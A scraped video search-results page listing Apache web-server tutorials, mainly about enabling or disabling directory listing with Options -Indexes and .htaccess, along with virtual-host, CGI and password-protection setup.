Home
Search results “Apache options directory index”
Apache Secure Tutorial: Hide HTTP Header and Disable Directory Listing
 
04:33
This is one of the basic secuirty hardening and first steps, by default server will show the OS information and Apache version in the footer whenever a page not found or any other requests replies. One of the first steps when you start securing your Apache server is to disable the directory browsing, you don't want anyone to browse your file and know the structure. Other Apache Hardening Tutorials: 1- Secure Apache Web Server - Use SSLScan and Disable Ciphers: https://goo.gl/mb7pYz 2- Apache Secure Tutorial: Hide HTTP Header and Disable Directory Listing: https://goo.gl/VqcLrG 3- Apache Hardening Tutorial: Disable HTTP Trace / Cross Site Method https://goo.gl/KJnbDS Disable Server Response Header vi /etc/httpd/conf/httpd.conf Add ServerTokens Prod Save Restart Apache service httpd restart "RHEL/CentOS 6 and earlier versions" systemctl restart httpd "RHEL/CentOS 7 and earlier versions" Disable Apache Trailing Footer vi /etc/httpd/conf/httpd.conf Add ServerSignature Off Save Restart Apache service httpd restart "RHEL/CentOS 6 and earlier versions" systemctl restart httpd "RHEL/CentOS 7 and earlier versions" n this example i will disable browsing for /var/www/html/dotsway folder. vi /etc/httpd/conf/httpd.com Add below to the directory part Options -Indexes Save Restart Apache service httpd restart OR systemctl restart httpd
Views: 3349 dotsway
Web Server: Enable Directory Listing / Directory Browsing with .htaccess & create files with no name
 
04:39
Web Servers hide the contents of folders by default. If there’s no index.html or index.php file, it will show a "403 Forbidden" error. That means that the folder exists, but you don’t have access to it. Different from a "404 Not Found" error, meaning no such folder exists. If you want to see the files inside all folders, you need to put this .htaccess file in the directory you want to enable Download htaccess zip http://www.mediafire.com/download/qm398c6l99xl8o8/htaccess+File+Inside.zip UnZip it and it should work. (This is if you’re having trouble creating files with no name, only an extension) ➤Create .htaccess file -Open notepad (or other text editor) -Save a blank file called ".htaccess" (no filename just an extension) -Make sure you change the "Save as Type" dropdown from "Text Document *.txt" to "All files" -Use ftp software to copy the .htaccess file to your web server -You might need to "Show hidden files" in order to see it ➤Configuring htaccess ➨"Options +Indexes" -Adding this enables the list of files in the folder -Capitalization doesn’t matter -You can comment out lines with a hashtag/number sign (#) ➨"IndexOptions FancyIndexing" -This changes the display ➨"Options -Indexes" -this hides the listings. Add a new .htaccess file in a subfolder to disable directory listing in that folder and keep it active in the containing folder ➨"DirectoryIndex 1.txt" -This sets the default page to load instead of index.html or index.php (as long as 1.txt exists) ➨"IndexIgnore *.txt *.doc" -This excludes any files with the extension txt & doc from the list -They’re still accessible by direct URL, but just won’t show up if directory listing is enabled More Detailed video https://www.youtube.com/watch?v=hsaaVCB55dQ
Views: 36131 TanUv90
Apache - disable and enable directory listing
 
04:56
Apache http server can be downloaded from: http://httpd.apache.org/ In httpd.conf disable directory listing Options -Indexes enabledirectory listing Options +Indexes More about this video: http://jiansenlu.blogspot.ca/2014/01/apache-disable-directory-listing.html
Views: 9821 Jiansen Lu
Manually Installing and Configuring Apache 2.4 VC14 on Windows 10
 
32:23
I cover the process of manually installing and configuring the 64-bit version of Apache 2.4 on Windows 10 for local development. The version of Apache 2.4 that I choose to download is one that will work with PHP. I spend some time going over various problems that you might encounter. Table of Contents 1:11 Downloading the web server program. 2:41 Verifying the SHA-1 checksum of the software. 4:36 Extracting the program to C:\Apache24 5:15 Running the server from the command prompt 5:42 Troubleshooting the missing VCRUNTIME140.dll error message 7:35 Instructing Windows Firewall to allow access to the web server for private networks only. 8:00 Troubleshooting the "AH00072: make_sock: could not bind to address 0.0.0.0:80" error message. 10:18 Starting the program successfully for the first time. 10:55 Determining where the "It works!" web page comes from. 11:53 Creating a virtual host configuration entry to support multiple websites for local development. 14:15 Stopping and starting the server that is still running from the command line. 14:45 Editing the hosts file that tell my computer that specific website address go to my local computer. 16:12 Figuring the "Access is denied" message when trying to save the hosts file. 17:05 Troubleshooting when your web browser searches for the website address instead of actually navigating to it in the address bar. 17:45 Figuring out what causes the "You don't have permission to access / on this server" message. 20:42 Creating an index.html test file. 21:32 Troubleshooting seeing index.html.txt file instead of the contents of the test page. 23:00 Changing more settings in the httpd.conf file (AllowOverride to All and removing the Indexes option). 23:56 Revisiting another variation of the "You don't have permission to access /" message. 26:10 Looking at the "AH00526: Syntax error" message 26:40 Installing Apache 2.4 as a Windows service 28:30 Looking at the Apache Monitor 29:25 Troubleshooting the "The requested operation has failed" message when starting the web server from the monitor. 31:26 Getting the Apache Monitor to automatically start.
Views: 14086 ProgramOften
Prevent Directory Browsing On Your WordPress - Hackers Love Directory Browsing | WP Learning Lab
 
08:00
Grab Your Free 17-Point WordPress Pre-Launch PDF Checklist: http://vid.io/xqRL Download our exclusive 10-Point WP Hardening Checklist: http://bit.ly/10point-wordpress-hardening-checklist Prevent Directory Browsing On Your WordPress - Hackers Love Directory Browsing | WP Learning Lab # BEGIN Directory Browsing Block Options -Indexes # END Directory Browsing Block In this tutorial I show you how to stop hackers from seeing which plugins and themes you have installed on your WordPress site. When hackers know what you have installed they also know what vulnerabilities you have on your site. That makes it easier for them to hack your site. So for your WordPress security make sure you stop directory browsing. So let's put that code into your .htaccess file. First login into your hosting account cPanel. Then find and click on the File Manager icon and choose the Document Root for the website that you are hardening. This will open the root of the website in another tab. You can also log into the website root using FTP if you are more comfortable with that. If you do not see a .htaccess in the website right then you can make one by clicking Add New File in the File Manager or right-clicking and choosing Create New File via FTP. Open the .htaccess file and paste the code from above into it. There is no need to make adjustments to the code. Once pasted in just save the file and you're done. This is an easy way to begin hardening your WordPress site. I hope this information helps you! If you have any questions leave a comment below or ping me @WPLearningLab on Twitter. -------------- If you want more excellent WordPress information check out our website where we post WordPress tutorials daily. http://wplearninglab.com/ Connect with us: WP Learning Lab Channel: http://www.youtube.com/subscription_center?add_user=wplearninglab Facebook: https://www.facebook.com/wplearninglab Twitter: https://twitter.com/WPLearningLab Google Plus: http://google.com/+Wplearninglab Pinterest: http://www.pinterest.com/wplearninglab/
วิธีทำ Virtual Host บน Apache 2.4.10 บน Windows
 
06:26
วิธีทำ Virtual Host บน Apache 2.4.10 บน Windows How to Config Virtual Host for Apache 2.4.10 on Windows - เตรียมสร้ง Folder ให้พร้อมไว้ ผมสร้างที่ D:\_MySite_ ด้านในมี Folder ย่อยคือ localhost , website1, website2 - แก้ไขไฟล์ httpd.conf ให้เรียกใช้ vhost Include conf/extra/httpd-vhosts.conf - แก้ไขให้เรียกใช้ LoadModule vhost_alias_module modules/mod_vhost_alias.so - แก้ไขไฟล์ vhost.conf Directory "d:/_MySite_" Require all granted /Directory NameVirtualHost *:80 VirtualHost *:80 DocumentRoot d:/_Mysite_/localhost ServerName localhost ServerAlias localhost Directory "d:/_Mysite_/localhost" Options FollowSymlinks Indexes Includes ExecCGI Order allow,deny Allow from all DirectoryIndex index.htm index.html index.php /Directory /VirtualHost VirtualHost *:80 DocumentRoot d:/_Mysite_/website1 ServerName website1 ServerAlias website1 Directory "d:/_Mysite_/website1" Options FollowSymlinks Indexes Includes ExecCGI Order allow,deny Allow from all DirectoryIndex index.htm index.html index.php /Directory /VirtualHost VirtualHost *:80 DocumentRoot d:/_Mysite_/website2 ServerName website2 ServerAlias website2 Directory "d:/_Mysite_/website2" Options FollowSymlinks Indexes Includes ExecCGI Order allow,deny Allow from all #DirectoryIndex index.htm index.html index.php /Directory /VirtualHost By Taonoi Narak [email protected] 15/ต.ค./2014 20:50
Views: 853 Taonoi Narakmak
Установка Web-сервера под Windows #2 – Apache и PHP
 
17:58
Правки в httpd.conf: Options Includes Indexes FollowSymLinks AllowOverride All Allow from all DirectoryIndex index.php index.html Подключение PHP: LoadModule php7_module "C:\web\server\php\php7apache2_4.dll" AddHandler application/x-httpd-php .php PHPIniDir "C:\web\server\php" Команды для установки Apache: cd "c:\web\server\apache\bin" httpd -k install Путь файла hosts: C:\Windows\System32\drivers\etc
Views: 677 Eni WEB
6 Apache Options
 
16:22
Sin audio.
Views: 86 Angelica Fernandez
How to config cgi python apache2 Windows
 
02:05
How to config cgi python apache2 Windows 7 Windows 8 Windows 10 you must have python and wamp or just apache2 installing on your pc Link Wamp Windows Apache Mysql PHP http://www.wampserver.com/ Link Python https://www.python.org/downloads/ add those lignes to httpd.conf apache2 config file between directory ----------------------------------------------------------------------------------------- AddHandler cgi-script .cgi .py Options Indexes FollowSymLinks ExecCGI ----------------------------------------------------------------------------------------- index.py test page -------------------------------------------------------------------------------------------- print "Content-type: text/html" print print "Hello" ---------------------------------------------------------------------------------------------
Views: 24920 jemi aymen
.htaccess Tutorials - Directory Listing (index of list)
 
03:29
.htaccess Tutorials - Directory Listing (index of list) .htaccess code : Options -Indexes IndexIgnore * Stack Overflow Question : http://stackoverflow.com/questions/14062641/indexignore-or-options-indexes Localhost Server Configuration : Apache Version : 2.2.22 PHP Version : 5.3.13 MySQL Version : 5.5.24 WampServer Version : 2.2 More .htaccess Tutorials : http://youtube.com/playlist?list=PLhSnGF_9H8EQBxUdaBQUOrp0zYmyi7ZIG --- Links --- Hosting Coupon Codes http://coupon.verifiedjoseph.com === Email Me: http:///emailme.verifiedjoseph.com Google+ http://plus.verifiedjoseph.com Twitter : http://twitter.verifiedjoseph.com Website : http://verifiedjoseph.com Stats : http://vstats.verifiedjoseph.com === Interested in a YouTube partnership with RPM Network/Maker Studios: http://network.verifiedjoseph.com
Views: 2795 Echo 442 Studios
Shorter share links: getting rid of index.php
 
01:51
By default, Nextcloud share links look like mynextcloud.com/index.php/s/20v0rfzow20 By removing the 'index.php' part, the links get much shorter! mynextcloud.com/s/20v0rfzow20 How? A few server settings is all it takes. Watch the video! Enable the rewrite and env modules in Apache: a2enmod rewrite a2enmod env Enable AllowOverride in the Apache config: vi /etc/apache2/apache2.conf Directory /var/www/ Options Indexes FollowSymLinks AllowOverride None ---- to All Require all granted /Directory Add RewriteBase "/" to the Nextcloud config: cd /var/www/html/ sudo -u www-data ./occ config:system:set htaccess.RewriteBase --value / NOTE that / should be where Nextcloud is installed; that can be /nextcloud, for example. And if you've configured your webroot to be /var/www/html/nextcloud it is / again sudo -u www-data ./occ maintenance:update:htaccess Restart the webserver: service apache2 restart Thanks to Lukas for the idea and how-to! Get your nextcloud at nextcloud.com
Views: 2790 Nextcloud
What is WEBSERVER DIRECTORY INDEX? What does WEBSERVER DIRECTORY INDEX mean?
 
02:35
What is WEBSERVER DIRECTORY INDEX? What does WEBSERVER DIRECTORY INDEX mean? WEBSERVER DIRECTORY INDEX meaning - WEBSERVER DIRECTORY INDEX definition - WEBSERVER DIRECTORY INDEX explanation. Source: Wikipedia.org article, adapted under https://creativecommons.org/licenses/by-sa/3.0/ license. SUBSCRIBE to our Google Earth flights channel - https://www.youtube.com/channel/UC6UuCPh7GrXznZi0Hz2YQnQ When an HTTP client (generally a web browser) requests a URL that points to a directory structure instead of an actual web page within the directory, the web server will generally serve a default page, which is often referred to as a main or "index" page. A common filename for such a page is index.html, but most modern HTTP servers offer a configurable list of filenames that the server can use as an index. If a server is configured to support server-side scripting, the list will usually include entries allowing dynamic content to be used as the index page (e.g. index.php, index.shtml, index.jsp, default.asp) even though it may be more appropriate to still specify the html output (index.html.php or index.html.aspx), as this should not be taken for granted. An example is the popular open source web server Apache, where the list of filenames is controlled by the DirectoryIndex directive in the main server configuration file or in the configuration file for that directory. It is possible to make do without file extensions at all, and be neutral to content delivery methods, and set the server to automatically pick the best file through content negotiation. If the server is unable to find a file with any of the names listed in its configuration, it may either return an error (generally 404 Not Found) or generate its own index page listing the files in the directory. It may also return a 403 Index Listing Forbidden. Usually this option is also configurable. Since the index page is often the first page of a Web site that a user sees, it is sometimes used to offer a menu of language options for large Web sites that use geo targeting. It is also possible to avoid this step, for example by using content negotiation.
Views: 64 The Audiopedia
Installing and Configuring Web Server in Linux  -Step by Step Method
 
59:11
Apache is the Web Server most frequently used on the Internet today. This tutorial covers its installation and and configuration in Red Hat Linux 6.0 and 7.0. The CD-ROM distribution includes an Apache package, but you can also download Apache for free. • Installing Apache Mount the CD-ROM 1 and install the package for apache. The package will automatically create all the directories for you besides installing the software. The document root will be placed in /home/httpd in 6.0 and in /var/www in 7.0. The server root will be located in /etc/httpd. The path to the apache program will be /usr/sbin/httpd. • Configuring Apache in 6.0 Apache comes with the three configuration files mentioned above already with basic configuration information. Your job will be to tailor these configuration files to your needs. In this tutorial we will only deal with some basic features you need or may be interested in adding to your Web server. 1. httpd.conf: this is the configuration file related to the server in itself. Open the file httpd.conf in Kedit or any other text editor like Pico or Emacs. You are supposed to find the line ServerNameand enter the FQDN of your machine, and also find the line ServerAdmin and enter your e-mail address. The server comes configured to run in standalone mode, to listen in port 80, with user and group nobody privileges (low level of permissions for security reasons), and you don't need to change these options. 2. access.conf: this is the configuration file related to access to directories and services in the Web server. Again, open the file access.conf in a text editor. Look for the section that starts with and look for the Options line and change it to allow Server Side Includes, but disabling scripts to be run from a Web page, as follows: Options Indexes Includes FollowSymLinks IncludesNOEXEC. This will allow the dynamic dating of your changes, the dynamic display of time and date in your pages, but will prevent scripts to be run outside of your cgi-bin directory. For example, will be displayed as Saturday July 22, 2017 -- 01:59 PM As an additional security measure you may also change the section starting with so that the Options line be commented out as follows: # Options ExecCGI. This will not prevent you to run CGI programs in cgi-bin, but rather it will prevent the command exec to be used even in the cgi-bin directory. 3. srm.conf: this is the configuration file related to the location of the document root, directory infornation formatting, user directories, etc. Once more, open the file srm.conf in a text editor. If you want to change the location of the document root, look for the line DocumentRoot /home/httpd/html and change it to a new location, but do not forget to move its three sub-directories (html, cgi-bin and icons) to the new location, but there is no need for it. You may wish, however, to change the default user Web directory to www . Look for the line UserDir and change it to UserDir www . Files placed in the user accounts in this directory are displayed in the web when /~username is used after the server name (e.g. ubmail.ubalt.edu/~abento). You may also want to add index.htm to the list of files that may be index files to a Web directory. In order to do so, look for the line DirectoryIndex and change it to DirectoryIndex index.html index.shtml index.htm Check that your cgi-bin directory is properly identified as follows: ScriptAlias /cgi-bin/ /home/httpd/cgi-bin/ . If you moved your document root path change this line accordingly. If you want your CGI script files to be identified with .cgi be sure that the line AddHandler cgi-script .cgi is not commented out (market with in * in front). To complete the installation of server side includes be sure that the following two lines are present: AddType text/html .shtml AddHandler server-parsed .shtml Finally, to make your Web server support image maps be sure that the following line exists: AddHandler imap-file map • Configuring Apache in 7.0 Apache in 7.0 comes with the same three configuration files, but only httpd.conf needs to be configured, changed, by you. The other two are considered obsolete and should not be changed.
Views: 14712 Skill Institution
Install Apache Server 2.4.17 for Windows to Access External Drive from Internet
 
07:00
This is a how to video showing how to Install Apache Server 2.4.17 for Windows to Access External Drives from Internet or Locally. This will work for Windows 8, 8.1 10. Didn't test on Windows 7 Open Port 80 on your router for your Computer's Internal IP Address - In my case, it is 192.168.1.3:80 Download & Install Apache Server for Windows - http://www.apachelounge.com/download/ Download & Install Visual C++ Redistributable for Visual Studio 2015 - https://www.microsoft.com/en-us/download/details.aspx?id=48145 Open Firewall for Apache Server - Start Apache - Windows firewall, Public, Private Go to 127.0.0.1 or in my case internal ip address 192.168.1.3, your internal ip address will likely be different. It should say It Works or whatever is in the Index.html file in the htdocs folder in Apache24 on the C:Drive. We need to know the name of the computer. Go to Control Panel - System and you will see Computer name - in my case it is Lenovo-PC Now we need to share our External Drive. Right click on the External Drive. Click properties, then Sharing, then Advanced Sharing. Put a check in the Sharing box and save. Make sure permissions say Read only. Edit http.conf file in C:\Apache24\Conf\ folder. These changes allow you to use the External Drive instead of the C:\ Drive Change DocumentRoot "c:/Apache24/htdocs" to DocumentRoot "F:\Televison" Change Directory "c:/Apache24/htdocs" to Directory "F:\Televison" Directory Directory Change AllowOverride none to AllowOverride all Require all denied Require all denied /Directory /Directory Now you will be able to Access the External Drive 3 different ways. 1.) Access locally from 127.0.0.1 2.) Access locally from your internal IP Address. 3.) Access remotely from the Internet using your External IP Address. You can find your External IP Address by typing What's my IP in a Google Search. You might possibly need to restart your computer for the changes to take effect. It's important to learn to Password protect your server which will be in the next video.
Views: 2713 Vincent Russell
How to : Create an alias directory with WAMP
 
02:04
Tags: active directory alias computer name active directory alias email active directory alias length active directory alias login active directory alias mailnickname active directory alias name active directory alias object active directory alias property alias a directory in linux alias active directory alias active directory account alias active directory domain alias active directory exchange alias active directory users alias cd directory alias cd to directory alias change directory alias command directory alias current directory alias directory .htaccess alias directory apache alias directory apache ubuntu alias directory apache windows alias directory bash alias directory example alias directory forbidden alias directory httpd.conf alias directory in apache alias directory in apache windows alias directory in linux alias directory in unix alias directory in xampp alias directory index alias directory index forbidden by options directive alias directory linux alias directory location alias directory name alias directory nginx alias directory path alias directory php alias directory terminal alias directory ubuntu alias directory unix alias directory wamp alias directory windows alias directory windows 7 alias directory xampp alias for directory bash alias for directory in linux alias for directory path in unix alias previous directory alias ssh directory alias to change directory linux alias to directory apache alias to directory in unix alias to directory linux alias user_data directory alias virtual directory alias virtual directory apache alias virtual directory iis alias working directory apache alias a directory apache alias allow directory listing apache alias directory 403 apache alias directory 403 error apache alias directory 404 apache alias directory and subdirectories apache alias directory browsing apache alias directory centos apache alias directory example apache alias directory example windows apache alias directory forbidden apache alias directory linux apache alias directory listing apache alias directory network drive apache alias directory not found apache alias directory not working apache alias directory on windows apache alias directory options apache alias directory outside of wwwroot apache alias directory permission apache alias directory permission denied apache alias directory redirect apache alias directory ssl apache alias directory tutorial apache alias directory virtual host apache alias directory windows apache alias error directory apache alias external directory apache alias parent directory apache alias remote directory apache alias root directory apache alias without directory apache directory alias wildcard apache2 alias directory permissions apache2 directory alias bash alias change directory bash alias directory path bash alias to directory bash alias working directory browserify alias directory create alias directory windows create alias directory xampp create alias for directory on linux create directory alias oracle directory alias filezilla server directory alias in windows directory alias mac directory alias powershell directory alias zsh dns alias virtual directory dos alias directory drush alias directory easyphp alias directory emacs alias directory filezilla directory alias example git alias working directory httpd alias directory forbidden iis 6 alias virtual directory k directory alias keyring alias directory lighttpd alias directory linux alias change directory make alias directory mamp alias directory mamp alias to directory mod_alias directory nginx alias directory index nginx alias directory index of is forbidden nginx alias directory php nginx alias to directory oracle alias directory os x alias directory os x directory alias owncloud directory alias name powershell alias change directory redmine alias directory rewriterule alias directory server alias directory shell alias directory svn alias directory tomcat 7 alias directory tomcat alias directory unix alias a directory unix alias directory name unix alias for directory virtual host directory alias vsftpd alias directory wamp alias directory does not exist wamp alias directory forbidden wamp alias directory not working windows 7 alias directory windows 8 directory alias xampp alias directory mac
Views: 2814 FREE LEARNING
Solr Indexing Sample Docs to solr core and searching with various filter query options
 
06:12
This tutorial will help in indexing sample Solr Docs using Post Utility. Indexing into specific core. Searching queries to fetch data based on Filter query and other options. let assume file as dummy.xml under example/exampledocs directory. Go to exampledocs directory using command prompt & execute - java -jar post.jar dummy.xml For multiple XML files use - java -jar post.jar dummy.xml dummy1.xml For all XML files present in working directory use- java -jar post.jar *.xml SimplePostTool version 1.5 Posting files to base url http://localhost:8983/solr/update using content-type application/xml.. POSTing file dummy.xml 1 files indexed. COMMITting Solr index changes to http://localhost:8983/solr/update.. Time spent: 0:00:00.547
Views: 16007 Learn Technology
Change default config for apache
 
04:34
Change apache default config to obstacle permission issue ## Enable permalink Wordpress have pretty permalink features. default it's disabled. ``` a2enmod rewrite sudo gedit /etc/apache2/apache2.conf ``` And change `AllowOverride None` to `AllowOverride All` Then Run `service apache2 restart`
Views: 705 Prosenjit Manna
How to hide your website files from Visitors
 
05:59
How to Prevent a Directory Listing of Your Website with .htaccess by H3X KH4N. If you create a new directory (or folder) on your website, and do not put an "index.html" file in it, you may be surprised to find that your visitors can get a directory listing of all the files in that folder. For example, if you create a folder called "incoming", you can see everything in that directory simply by typing "http://www.example.com/incoming/" in your browser. No password or anything is needed. This article shows you how you can configure your web server so that it does not show a directory listing by default. Prerequisites Your Website Must Be on an Apache Web Server For the method described in this article to work, your site should be hosted on an Apache web server. This probably constitutes the majority of websites on the Internet, so it is likely that you satisfy this requirement. In general, if your web server (the computer that your site is running on) is using Linux or FreeBSD, chances are that it's on an Apache server. If your server is using Windows, your website is probably not using Apache. Note that I'm talking about the computer hosting your website, not your own personal computer. If you're not sure, ask your web host. Your Web Host Must Have Enabled .htaccess Server Overrides In addition to being hosted on an Apache web server, your web host needs to have enabled server overrides. This facility allows you to modify the web server configuration from your own website. In practice, this usually means that your website is hosted on a commercial web host rather than a free one. Free web hosts normally don't allow websites hosted on them to change the web server behaviour. Both the above conditions must be true, or you won't be able to successfully do the things mentioned in this guide. Is Protecting Your Directory Listing From View a Security Measure? Protecting your directories from being listed by your website's visitors does not, in and of itself, make your website more secure. At best, it's security by obscurity — that is, you hope that by hiding stuff from view, nefarious visitors up to no good will not be able to get access to those things. It's the web equivalent of hiding your life savings under your mattress. However, while you should of course implement other measures for securing your site, it's still good practice not to allow your directories to be listed by default. That way, at least, you don't make it too easy for others to survey your site for vulnerabilities. This is especially so if you have third-party scripts on your site (such as, for example, you run a blog). It's important to realise this, so that you don't rely on this method alone for security. Make a Backup of the .htaccess File If you managed to find and download the .htaccess file from your site, save a backup copy on your own computer. That is, make sure you have 2 copies of the .htaccess file on your computer, the one you are about to modify, and a pristine copy of the original. The backup is useful in case you accidentally make an error later. Create or Open the .htaccess File If you've managed to get the .htaccess file, open it in an ASCII text editor (like Notepad). If one does not exist, use the editor to create a new blank document. The rest of this article will assume that you have already started the editor with the .htaccess open or with a blank document if no .htaccess file previously existed. WARNING: do not use a wordprocessor like Word, Office, or WordPad to create or edit your .htaccess file. You should also not use a WYSIWYG (What-You-See-Is-What-You-Get) web editor for this purpose. If you do, your site will mysteriously fail to work when you upload the file to your web server. This is very important. There are no exceptions. Disable Indexing Add the following line to your .htaccess file. Options -Indexes Conclusion: If all goes well, you should get a "Forbidden" error when you try to access a directory that doesn't have an index file.
Views: 8666 H3X KH4N
Configuring Web Server on Ubuntu
 
07:00
apache2.conf: the main Apache2 configuration file. Contains settings that are global to Apache2. conf.d: contains configuration files which apply globally to Apache2. Other packages that use Apache2 to serve content may add files, or symlinks, to this directory. envvars: file where Apache2 environment variables are set. httpd.conf: historically the main Apache2 configuration file, named after the httpd daemon. The file can be used for user specific configuration options that globally effect Apache2. mods-available: this directory contains configuration files to both load modules and configure them. Not all modules will have specific configuration files, however. mods-enabled: holds symlinks to the files in /etc/apache2/mods-available. When a module configuration file is symlinked it will be enabled the next time apache2 is restarted. ports.conf: houses the directives that determine which TCP ports Apache2 is listening on. sites-available: this directory has configuration files for Apache2 Virtual Hosts. Virtual Hosts allow Apache2 to be configured for multiple sites that have separate configurations. sites-enabled: like mods-enabled, sites-enabled contains symlinks to the /etc/apache2/sites-available directory. Similarly when a configuration file in sites-available is symlinked, the site configured by it will be active once Apache2 is restarted. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- #apt-get install apache2 # #cd /etc/apache2/sites-available Now Create your own website here. #sudo cp 000-default.conf mysite.conf #sudo nano mysite.conf DocumentRoot /var/www/mysite # cd /var/www/ # sudo mkdir mysite # cd mysite # nano index.html Hello this is my first website in Apache #systemctl reload apache2 #sudo a2dissite 000-default #sudo a2ensite mysite #/etc/init.d/apache2 restart ----------------------------------------------- #cd /etc/apache2/ ports.conf (Ports on which Apache is running) pico apache2.conf (Main Configuration file) ---------------------------------------------------- To enable secure sites #systemctl reload apache2 #sudo a2enmod ssl #sudo a2ensite default-ssl #/etc/init.d/apache2 restart +-------------------------------------------------- To check which Webserver is running ifconfig check the IP open browser On windows and type http://(ip address)
Views: 494 Usman Asim
How to Edit Your .Htaccess file
 
06:26
Learn how to edit your .htaccess file by using the cPanel File Manager or an FTP client. The .htaccess file is a hidden file that is used by the hosting server for several purposes: Examples include Redirects Security Website configuration The file is detected and processed by the Apache server How do you find the .htaccess file? The .htaccess file is generally in the root of the folder where you're saving your website files. Note that there can be multiple .htaccess files. They can exist in folders that are part of your website files. Make sure to select the correct file to edit. In this tutorial we are going to show you how to navigate to the file and then open it using either the cPanel File Manager or an FTP client. NOTE: As with any change, make sure to back up your files BEFORE you make any changes. Using the cPanel File Manager First login to the cPanel Go to the File Manager. Make sure to double-check the settings so that you can see hidden files Go to the relevant .htaccess file. Select the file Use the edit options within File Manager Make sure to save your changes. Using an FTP client Login to the account Find the .htaccess file Download it and then edit the file with a text editor. Save your changes. Apply the changes to your website by uploading the file back into the location where you downloaded it. Make sure you overwrite the file. InMotion Hosting was founded in 2001 and provides personal and business web hosting for everyone! For more information about InMotion Hosting and the services we provide see here: http://www.inmotionhosting.com
Views: 13211 InMotion Hosting
Prevent Directory Browsing on Apache
 
02:13
This video discusses how you can prevent people from browsing through your directories on your web server if you are using Apache Code GIST: https://gist.github.com/prof3ssorSt3v3/2c30c5a6b1f99f9610f59e26efb61b4c
Views: 211 Steve Griffith
How to Disable Directory Browsing in WordPress
 
01:12
If your webserver does not find an index file it automatically displays an index page showing the contents of the directory. This makes your site vulnerable to hacks by showing the information needed to get into your theme or a plugin. In this video, we will show you how to disable directory browsing in WordPress. If you liked this video, then please Like and consider subscribing to our channel for more WordPress videos. Text version of this tutorial: http://www.wpbeginner.com/wp-tutorials/disable-directory-browsing-wordpress/ Follow us on Twitter: http://twitter.com/wpbeginner Checkout our website for more WordPress Tutorials http://www.wpbeginner.com/ Summary of this Tutorial: Start by connecting to your site using FTP. You will need to edit your .htaccess file in the root directory of your site found in your root directory. If you do not see the file you will need to tell your FTP client to show hidden files. Download your .htaccess and open it in a text editor like notepad and add the following to the bottom: "Options -Indexes" Then save the file and reupload it to your server with your FTP client.
Cap6. Apache. Options, htaccess y allowoverride
 
16:44
Se da un breve repaso a la directiva options y se explica el funcionamiento del fichero de administración distribuida .htaccess y su control desde Allowoverride
Views: 356 Luis Llano
Turn off directory indexes with .htaccess
 
03:35
Disable directory indexes with a simple addition to your .htaccess flie. This modification will prevent nosey surfers from exploring your directories and also protect some of your website files from being downloaded. This is a much simpler method versus putting a blank index page in each directory.
Views: 6341 wormracer08
Examples of .htaccess - web directory password protected
 
05:02
.htaccess: control directory access in Apache httpd.conf: global Example 1: password protection for directory Create encrypted password for user name jiansen for htpasswd -c /var/www/html/htaccess_test/.htpasswd jiansen File permission: chmod 644 /var/www/html/htaccess_test/.htpasswd Make sure it can be read by apache, but can not read by outside .htaccess: AuthType Basic AuthName "Restricted access" AuthUserFile "/var/www/html/htaccess_test/.htpasswd" Require valid-user Example 2, will not display .txt file Options +Indexes IndexIgnore *.txt More about this video: http://jiansenlu.blogspot.com/2014/10/some-examples-of-htaccess.html
Views: 2892 Jiansen Lu
Site.com/username | Rewrite URL with htaccess
 
02:49
[+]site.com/user/profile.php?id=user will be site.com/user rewrite url htaccess rewrite url htaccess php rewrite url htaccess generator rewrite url htaccess examples rewrite url htaccess wordpress rewrite url htaccess stackoverflow rewrite url htaccess codeigniter rewrite url htaccess online rewrite url htaccess php parameters rewrite url htaccess tutorial rewrite url htaccess https rewriterule htaccess apache rewrite url htaccess apache url rewrite .htaccess asp.net .htaccess rewrite url add www htaccess rewrite url alias angularjs rewrite url htaccess htaccess rewrite url to another htaccess rewrite url to another domain .htaccess rewrite url with anchor allow url rewrite htaccess rewrite the url htaccess rewrite url by .htaccess rewrite base url htaccess htaccess rewrite url in address bar htaccess rewriterule builder htaccess rewriterule base htaccess rewriterule cgi-bin rewriterule htaccess beispiel htaccess rewriterule block rewriterule htaccess codeigniter rewriterule htaccess como usar rewriterule htaccess clean url url rewrite code htaccess rewrite url using .htaccess in codeigniter htaccess rewrite url contains htaccess rewrite url css htaccess rewrite url case insensitive htaccess rewrite url condition rewriterule htaccess directory htaccess rewriterule doesn't work rewriterule htaccess domain rewrite dynamic url htaccess htaccess rewrite url directory htaccess rewrite url different domain drupal rewrite url htaccess htaccess rewrite url domain name htaccess rewrite url domain htaccess rewrite url remove directory php rewrite url htaccess example url rewriting using htaccess example htaccess rewrite url exception htaccess rewrite url extension htaccess rewrite url encode htaccess rewrite url without extension htaccess url rewrite exclude directory .htaccess url rewrite remove extension htaccess enable url rewrite htaccess rewriterule e rewriterule htaccess folder rewriterule htaccess file rewriterule htaccess flags rewriterule ^.htaccess$ - f rewrite url folder htaccess rewriting url with .htaccess file rewrite url in php htaccess file htaccess rewrite url friendly htaccess rewrite url for wordpress how to rewrite url using .htaccess file in php htaccess rewriterule f htaccess rewriterule f l htaccess rewrite url get parameters htaccess rewrite url get variables rewrite get url htaccess .htaccess url rewrite godaddy online .htaccess url rewrite generator rewriterule htaccess https rewrite url htaccess html rewriterule htaccess html how to rewrite url htaccess htaccess url rewrite hide .php htaccess url rewrite html to php htaccess rewrite url with hash htaccess url rewrite remove html huong dan rewrite url htaccess rewriterule htaccess index.php rewrite url htaccess in wordpress rewrite url htaccess in php rewriterule htaccess index rewrite url in htaccess url rewrite in htaccess + examples url rewrite iis htaccess url rewrite in .htaccess is not working url rewriterule htaccess rewrite url htaccess joomla joomla htaccess rewriterule htaccess rewriterule js htaccess rewriterule jpg htaccess rewriterule kullanımı htaccess rewriterule keep url rewriterule htaccess l rewriterule htaccess là gì rewriterule htaccess localhost rewrite url htaccess localhost rewrite url lowercase htaccess htaccess rewrite url laravel htaccess url rewrite language htaccess rewriterule ^index .php$ - l htaccess rewriterule r=301 l htaccess rewriterule l flag htaccess rewriterule l htaccess rewriterule qsa l htaccess rewriterule l nc htaccess rewriterule r l url rewrite magento htaccess htaccess rewrite url masking htaccess rewrite url mvc htaccess url rewrite multiple parameters htaccess url rewrite multiple variables url mod_rewrite htaccess htaccess multiple url rewrite .htaccess url rewrite redirects mobile magento 2 url rewrite htaccess htaccess multiple rewriterule rewriterule htaccess not working rewriterule htaccess nginx rewriterule htaccess nc rewriterule htaccess not found rewrite url htaccess not working url rewrite htaccess nginx rewrite url name htaccess .htaccess url rewrite not working on server htaccess url rewrite non www to www rewriterule htaccess options
Views: 20980 SourceCode Powered
Symlink ByPass 403 Forbidden
 
06:46
